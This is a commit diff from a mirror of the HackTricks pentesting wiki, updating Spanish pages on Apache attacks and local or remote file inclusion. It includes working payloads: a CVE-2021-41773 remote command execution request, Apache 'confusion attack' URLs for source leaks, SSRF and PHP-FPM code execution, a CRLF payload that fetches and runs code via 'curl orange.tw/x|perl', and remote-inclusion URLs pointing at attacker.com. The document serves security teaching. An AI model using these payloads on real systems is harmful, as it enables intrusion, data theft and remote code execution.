mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['network-services-pentesting/pentesting-web/apache.md', 'pen
This commit is contained in:
parent
21929d814a
commit
f13936319b
2 changed files with 300 additions and 54 deletions
|
@ -1,20 +1,21 @@
|
|||
# Apache
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Extensiones PHP ejecutables
|
||||
## Extensiones PHP ejecutables
|
||||
|
||||
Verifica qué extensiones está ejecutando el servidor Apache. Para buscarlas, puedes ejecutar:
|
||||
```bash
|
||||
|
@ -27,15 +28,241 @@ También, algunos lugares donde puedes encontrar esta configuración son:
|
|||
/etc/apache2/mods-available/php7.3.conf
|
||||
/etc/apache2/mods-enabled/php7.3.conf
|
||||
```
|
||||
# CVE-2021-41773
|
||||
## CVE-2021-41773
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
Estos tipos de ataques han sido introducidos y documentados [**por Orange en esta publicación de blog**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) y lo siguiente es un resumen. El ataque de "confusión" básicamente abusa de cómo los decenas de módulos que trabajan juntos creando un Apache no funcionan perfectamente sincronizados y hacer que algunos de ellos modifiquen algunos datos inesperados puede causar una vulnerabilidad en un módulo posterior.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
El **`mod_rewrite`** recortará el contenido de `r->filename` después del carácter `?` ([_**modules/mappers/mod\_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod\_rewrite.c#L4141)). Esto no es totalmente incorrecto ya que la mayoría de los módulos tratarán `r->filename` como una URL. Pero en otras ocasiones esto se tratará como una ruta de archivo, lo que causaría un problema.
|
||||
|
||||
* **Path Truncation**
|
||||
|
||||
Es posible abusar de `mod_rewrite` como en el siguiente ejemplo de regla para acceder a otros archivos dentro del sistema de archivos, eliminando la última parte de la ruta esperada añadiendo simplemente un `?`:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
|
||||
# Expected
|
||||
curl http://server/user/orange
|
||||
# the output of file `/var/user/orange/profile.yml`
|
||||
|
||||
# Attack
|
||||
curl http://server/user/orange%2Fsecret.yml%3F
|
||||
# the output of file `/var/user/orange/secret.yml`
|
||||
```
|
||||
* **Asignación engañosa de RewriteFlag**
|
||||
|
||||
En la siguiente regla de reescritura, siempre que la URL termine en .php, se tratará y ejecutará como php. Por lo tanto, es posible enviar una URL que termine en .php después del carácter `?` mientras se carga en la ruta un tipo diferente de archivo (como una imagen) con código php malicioso dentro de él:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
|
||||
# Attacker uploads a gif file with some php code
|
||||
curl http://server/upload/1.gif
|
||||
# GIF89a <?=`id`;>
|
||||
|
||||
# Make the server execute the php code
|
||||
curl http://server/upload/1.gif%3fooo.php
|
||||
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
#### **Bypass de ACL**
|
||||
|
||||
Es posible acceder a archivos a los que el usuario no debería poder acceder, incluso si el acceso debería ser denegado con configuraciones como:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
AuthName "Admin Panel"
|
||||
AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
Esto se debe a que, por defecto, PHP-FPM recibirá URLs que terminan en `.php`, como `http://server/admin.php%3Fooo.php` y porque PHP-FPM eliminará cualquier cosa después del carácter `?`, la URL anterior permitirá cargar `/admin.php` incluso si la regla anterior lo prohibía.
|
||||
|
||||
### Confusión de DocumentRoot
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
Un dato curioso sobre Apache es que la reescritura anterior intentará acceder al archivo tanto desde documentRoot como desde root. Así que, una solicitud a `https://server/abouth.html` verificará el archivo en `/var/www/html/about.html` y `/about.html` en el sistema de archivos. Lo que básicamente puede ser abusado para acceder a archivos en el sistema de archivos.
|
||||
|
||||
#### **Divulgación de Código Fuente del Lado del Servidor**
|
||||
|
||||
* **Divulgar Código Fuente CGI**
|
||||
|
||||
Solo agregar un %3F al final es suficiente para filtrar el código fuente de un módulo cgi:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# #!/usr/bin/perl
|
||||
# use CGI;
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
* **Divulgar el código fuente de PHP**
|
||||
|
||||
Si un servidor tiene diferentes dominios, siendo uno de ellos un dominio estático, esto puede ser abusado para recorrer el sistema de archivos y filtrar código php:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **Manipulación de Gadgets Locales**
|
||||
|
||||
El principal problema con el ataque anterior es que, por defecto, la mayoría del acceso al sistema de archivos será denegado, como en la [plantilla de configuración](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) del Apache HTTP Server:
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
Sin embargo, los sistemas operativos [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) permiten por defecto `/usr/share`:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
Por lo tanto, sería posible **abusar de archivos ubicados dentro de `/usr/share` en estas distribuciones.**
|
||||
|
||||
**Gadget Local para Divulgación de Información**
|
||||
|
||||
* **Apache HTTP Server** con **websocketd** puede exponer el script **dump-env.php** en **/usr/share/doc/websocketd/examples/php/**, lo que puede filtrar variables de entorno sensibles.
|
||||
* Los servidores con **Nginx** o **Jetty** podrían exponer información sensible de la aplicación web (por ejemplo, **web.xml**) a través de sus raíces web predeterminadas ubicadas bajo **/usr/share**:
|
||||
* **/usr/share/nginx/html/**
|
||||
* **/usr/share/jetty9/etc/**
|
||||
* **/usr/share/jetty9/webapps/**
|
||||
|
||||
**Gadget Local para XSS**
|
||||
|
||||
* En Ubuntu Desktop con **LibreOffice instalado**, explotar la función de cambio de idioma de los archivos de ayuda puede llevar a **Cross-Site Scripting (XSS)**. Manipular la URL en **/usr/share/libreoffice/help/help.html** puede redirigir a páginas maliciosas o versiones anteriores a través de **unsafe RewriteRule**.
|
||||
|
||||
**Gadget Local para LFI**
|
||||
|
||||
* Si PHP o ciertos paquetes de front-end como **JpGraph** o **jQuery-jFeed** están instalados, sus archivos pueden ser explotados para leer archivos sensibles como **/etc/passwd**:
|
||||
* **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
* **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
* **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**Gadget Local para SSRF**
|
||||
|
||||
* Utilizando **MagpieRSS's magpie\_debug.php** en **/usr/share/php/magpierss/scripts/magpie\_debug.php**, se puede crear fácilmente una vulnerabilidad SSRF, proporcionando una puerta de entrada a más exploits.
|
||||
|
||||
**Gadget Local para RCE**
|
||||
|
||||
* Las oportunidades para **Remote Code Execution (RCE)** son vastas, con instalaciones vulnerables como un **PHPUnit** desactualizado o **phpLiteAdmin**. Estos pueden ser explotados para ejecutar código arbitrario, mostrando el extenso potencial de la manipulación de gadgets locales.
|
||||
|
||||
#### **Jailbreak desde Gadgets Locales**
|
||||
|
||||
También es posible hacer jailbreak desde las carpetas permitidas siguiendo enlaces simbólicos generados por el software instalado en esas carpetas, como:
|
||||
|
||||
* **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
* **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
* **Solr Config**: `/usr/share/solr/conf/` -> `/etc/solr/conf/`
|
||||
* **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
* **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
Además, abusando de enlaces simbólicos fue posible obtener **RCE en Redmine.**
|
||||
|
||||
### Confusión de Controladores <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
Este ataque explota la superposición en la funcionalidad entre las directivas `AddHandler` y `AddType`, que ambas pueden ser utilizadas para **habilitar el procesamiento de PHP**. Originalmente, estas directivas afectaban diferentes campos (`r->handler` y `r->content_type` respectivamente) en la estructura interna del servidor. Sin embargo, debido a código legado, Apache maneja estas directivas de manera intercambiable bajo ciertas condiciones, convirtiendo `r->content_type` en `r->handler` si el primero está configurado y el segundo no.
|
||||
|
||||
Además, en el Apache HTTP Server (`server/config.c#L420`), si `r->handler` está vacío antes de ejecutar `ap_run_handler()`, el servidor **utiliza `r->content_type` como el controlador**, haciendo que `AddType` y `AddHandler` sean idénticos en efecto.
|
||||
|
||||
#### **Sobrescribir Controlador para Divulgar Código Fuente PHP**
|
||||
|
||||
En [**esta charla**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013\_dmitriev-maksim.pdf), se presentó una vulnerabilidad donde un `Content-Length` incorrecto enviado por un cliente puede hacer que Apache devuelva erróneamente **el código fuente de PHP**. Esto se debió a un problema de manejo de errores con ModSecurity y el Apache Portable Runtime (APR), donde una doble respuesta lleva a sobrescribir `r->content_type` a `text/html`.\
|
||||
Debido a que ModSecurity no maneja correctamente los valores de retorno, devolvería el código PHP y no lo interpretaría.
|
||||
|
||||
#### **Sobrescribir Controlador para XXXX**
|
||||
|
||||
TODO: Orange aún no ha divulgado esta vulnerabilidad
|
||||
|
||||
### **Invocar Controladores Arbitrarios**
|
||||
|
||||
Si un atacante puede controlar el encabezado **`Content-Type`** en una respuesta del servidor, podrá **invocar controladores de módulo arbitrarios**. Sin embargo, en el momento en que el atacante controla esto, la mayor parte del proceso de la solicitud ya se habrá realizado. Sin embargo, es posible **reiniciar el proceso de solicitud abusando del encabezado `Location`** porque si el **r**etornado `Status` es 200 y el encabezado `Location` comienza con una `/`, la respuesta se trata como una Redirección del Lado del Servidor y debe ser procesada.
|
||||
|
||||
De acuerdo con [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (especificación sobre CGI) en [Sección 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) se define un comportamiento de Respuesta de Redirección Local:
|
||||
|
||||
> El script CGI puede devolver una ruta URI y una cadena de consulta (‘local-pathquery’) para un recurso local en un campo de encabezado Location. Esto indica al servidor que debe reprocesar la solicitud utilizando la ruta especificada.
|
||||
|
||||
Por lo tanto, para realizar este ataque se necesita una de las siguientes vulnerabilidades:
|
||||
|
||||
* Inyección CRLF en los encabezados de respuesta CGI
|
||||
* SSRF con control completo de los encabezados de respuesta
|
||||
|
||||
#### **Controlador Arbitrario para Divulgación de Información**
|
||||
|
||||
Por ejemplo, `/server-status` debería ser accesible solo localmente:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
Es posible acceder configurando el `Content-Type` a `server-status` y el encabezado Location comenzando con `/`
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Manejador Arbitrario a SSRF Completo**
|
||||
|
||||
Redirigiendo a `mod_proxy` para acceder a cualquier protocolo en cualquier URL:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:
|
||||
http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Sin embargo, se agrega el encabezado `X-Forwarded-For` que impide el acceso a los puntos finales de metadatos en la nube.
|
||||
|
||||
#### **Controlador Arbitrario para Acceder al Socket de Dominio Unix Local**
|
||||
|
||||
Acceda al Socket de Dominio Unix local de PHP-FPM para ejecutar un backdoor PHP ubicado en `/tmp/`:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **Manejador Arbitrario para RCE**
|
||||
|
||||
La imagen oficial de [PHP Docker](https://hub.docker.com/\_/php) incluye PEAR (`Pearcmd.php`), una herramienta de gestión de paquetes PHP en línea de comandos, que puede ser abusada para obtener RCE:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
orange.tw/x|perl
|
||||
) %2b alltests.php %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), escrito por [Phith0n](https://x.com/phithon\_xg) para los detalles de esta técnica.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Inclusión de Archivos/Recorrido de Rutas
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -17,16 +17,16 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
¡Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs!
|
||||
Únete al [**Discord de HackenProof**](https://discord.com/invite/N3FrSbmwdy) para comunicarte con hackers experimentados y cazadores de bugs.
|
||||
|
||||
**Perspectivas de Hacking**\
|
||||
Participa en contenido que profundiza en la emoción y los desafíos del hacking
|
||||
Participa en contenido que profundiza en la emoción y los desafíos del hacking.
|
||||
|
||||
**Noticias de Hacking en Tiempo Real**\
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real
|
||||
Mantente al día con el mundo del hacking a través de noticias e información en tiempo real.
|
||||
|
||||
**Últimos Anuncios**\
|
||||
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma
|
||||
Mantente informado sobre las nuevas recompensas por bugs que se lanzan y actualizaciones cruciales de la plataforma.
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy mismo!
|
||||
|
||||
|
@ -69,9 +69,9 @@ Una lista que utiliza varias técnicas para encontrar el archivo /boot.ini (para
|
|||
|
||||
### **OS X**
|
||||
|
||||
Revisa la lista de LFI de linux.
|
||||
Consulta la lista de LFI de linux.
|
||||
|
||||
## Basic LFI and bypasses
|
||||
## LFI básico y bypasses
|
||||
|
||||
Todos los ejemplos son para Local File Inclusion pero también podrían aplicarse a Remote File Inclusion (página=[http://myserver.com/phpshellcode.txt\\](http://myserver.com/phpshellcode.txt\)/).
|
||||
```
|
||||
|
@ -121,7 +121,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
3. **Interpretar los Resultados:** La respuesta del servidor indica si la carpeta existe:
|
||||
* **Error / Sin Salida:** La carpeta `private` probablemente no existe en la ubicación especificada.
|
||||
* **Contenido de `/etc/passwd`:** Se confirma la presencia de la carpeta `private`.
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Locales (LFI).
|
||||
4. **Exploración Recursiva:** Las carpetas descubiertas pueden ser investigadas más a fondo en busca de subdirectorios o archivos utilizando la misma técnica o métodos tradicionales de Inclusión de Archivos Local (LFI).
|
||||
|
||||
Para explorar directorios en diferentes ubicaciones en el sistema de archivos, ajusta la carga útil en consecuencia. Por ejemplo, para verificar si `/var/www/` contiene un directorio `private` (suponiendo que el directorio actual está a una profundidad de 3), usa:
|
||||
```bash
|
||||
|
@ -149,7 +149,7 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
```
|
||||
En estos escenarios, el número de travesías necesarias podría ser alrededor de 2027, pero este número puede variar según la configuración del servidor.
|
||||
|
||||
* **Uso de segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
* **Usando segmentos de punto y caracteres adicionales**: Las secuencias de travesía (`../`) combinadas con segmentos de punto adicionales y caracteres pueden ser utilizadas para navegar por el sistema de archivos, ignorando efectivamente las cadenas añadidas por el servidor.
|
||||
* **Determinando el número requerido de travesías**: A través de prueba y error, se puede encontrar el número preciso de secuencias `../` necesarias para navegar hasta el directorio raíz y luego a `/etc/passwd`, asegurando que cualquier cadena añadida (como `.php`) sea neutralizada pero que la ruta deseada (`/etc/passwd`) permanezca intacta.
|
||||
* **Comenzando con un directorio falso**: Es una práctica común comenzar la ruta con un directorio que no existe (como `a/`). Esta técnica se utiliza como medida de precaución o para cumplir con los requisitos de la lógica de análisis de rutas del servidor.
|
||||
|
||||
|
@ -167,7 +167,7 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Inclusión Remota de Archivos
|
||||
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Apagado.** Debe estar **Encendido** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
En php esto está deshabilitado por defecto porque **`allow_url_include`** está **Desactivado.** Debe estar **Activado** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
En el código anterior, el `+.txt` final se agregó porque el atacante necesitaba una cadena que terminara en `.txt`, por lo que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
|
||||
En el código anterior, el `+.txt` final se añadió porque el atacante necesitaba una cadena que terminara en `.txt`, así que la cadena termina con eso y después de la decodificación b64, esa parte devolverá solo basura y el verdadero código PHP será incluido (y, por lo tanto, ejecutado).
|
||||
{% endhint %}
|
||||
|
||||
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
|
@ -246,7 +246,7 @@ Aquí hay una lista de los 25 principales parámetros que podrían ser vulnerabl
|
|||
|
||||
### php://filter
|
||||
|
||||
Los filtros PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
Los filtros de PHP permiten realizar **operaciones de modificación básicas sobre los datos** antes de que sean leídos o escritos. Hay 5 categorías de filtros:
|
||||
|
||||
* [Filtros de cadena](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
|
@ -271,7 +271,7 @@ Abusando del filtro de conversión `convert.iconv.*` puedes **generar texto arbi
|
|||
* [Filtros de cifrado](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Obsoleto
|
||||
* `mdecrypt.*` : Obsoleto
|
||||
* Otros Filtros
|
||||
* Otros filtros
|
||||
* Ejecutando en php `var_dump(stream_get_filters());` puedes encontrar un par de **filtros inesperados**:
|
||||
* `consumed`
|
||||
* `dechunk`: revierte la codificación HTTP en fragmentos
|
||||
|
@ -308,19 +308,19 @@ La parte "php://filter" no distingue entre mayúsculas y minúsculas
|
|||
|
||||
### Usando filtros php como oráculo para leer archivos arbitrarios
|
||||
|
||||
[**En esta publicación**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando filtros php** como oráculo. Esto se debe a que los filtros php se pueden usar para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
|
||||
[**En esta publicación**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) se propone una técnica para leer un archivo local sin que la salida sea devuelta por el servidor. Esta técnica se basa en una **exfiltración booleana del archivo (carácter por carácter) usando filtros php** como oráculo. Esto se debe a que los filtros php pueden ser utilizados para hacer que un texto sea lo suficientemente grande como para que php lance una excepción.
|
||||
|
||||
En la publicación original puedes encontrar una explicación detallada de la técnica, pero aquí hay un resumen rápido:
|
||||
|
||||
* Usa el códec **`UCS-4LE`** para dejar el carácter inicial del texto al principio y hacer que el tamaño de la cadena aumente exponencialmente.
|
||||
* Esto se usará para generar un **texto tan grande cuando la letra inicial se adivina correctamente** que php desencadenará un **error**.
|
||||
* El filtro **dechunk** **eliminará todo si el primer carácter no es un hexadecimal**, por lo que podemos saber si el primer carácter es hexadecimal.
|
||||
* Esto, combinado con el anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hexadecimal, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
|
||||
* Esto, combinado con lo anterior (y otros filtros dependiendo de la letra adivinada), nos permitirá adivinar una letra al principio del texto al ver cuándo hacemos suficientes transformaciones para que no sea un carácter hexadecimal. Porque si es hex, dechunk no lo eliminará y la bomba inicial hará que php dé un error.
|
||||
* El códec **convert.iconv.UNICODE.CP930** transforma cada letra en la siguiente (así que después de este códec: a -> b). Esto nos permite descubrir si la primera letra es una `a`, por ejemplo, porque si aplicamos 6 de este códec a->b->c->d->e->f->g, la letra ya no es un carácter hexadecimal, por lo tanto, dechunk no la elimina y se desencadena el error de php porque se multiplica con la bomba inicial.
|
||||
* Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hexadecimal).
|
||||
* Usando otras transformaciones como **rot13** al principio es posible filtrar otros caracteres como n, o, p, q, r (y se pueden usar otros códecs para mover otras letras al rango hex).
|
||||
* Cuando el carácter inicial es un número, es necesario codificarlo en base64 y filtrar las 2 primeras letras para filtrar el número.
|
||||
* El problema final es ver **cómo filtrar más que la letra inicial**. Al usar filtros de memoria ordenados como **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** es posible cambiar el orden de los caracteres y obtener en la primera posición otras letras del texto.
|
||||
* Y con el fin de poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
* Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
|
||||
|
||||
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
|
@ -331,7 +331,7 @@ Este envoltorio permite acceder a descriptores de archivos que el proceso tiene
|
|||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
Puedes también usar **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
Puedes usar también **php://stdin, php://stdout y php://stderr** para acceder a los **descriptores de archivo 0, 1 y 2** respectivamente (no estoy seguro de cómo esto podría ser útil en un ataque)
|
||||
|
||||
### zip:// y rar://
|
||||
|
||||
|
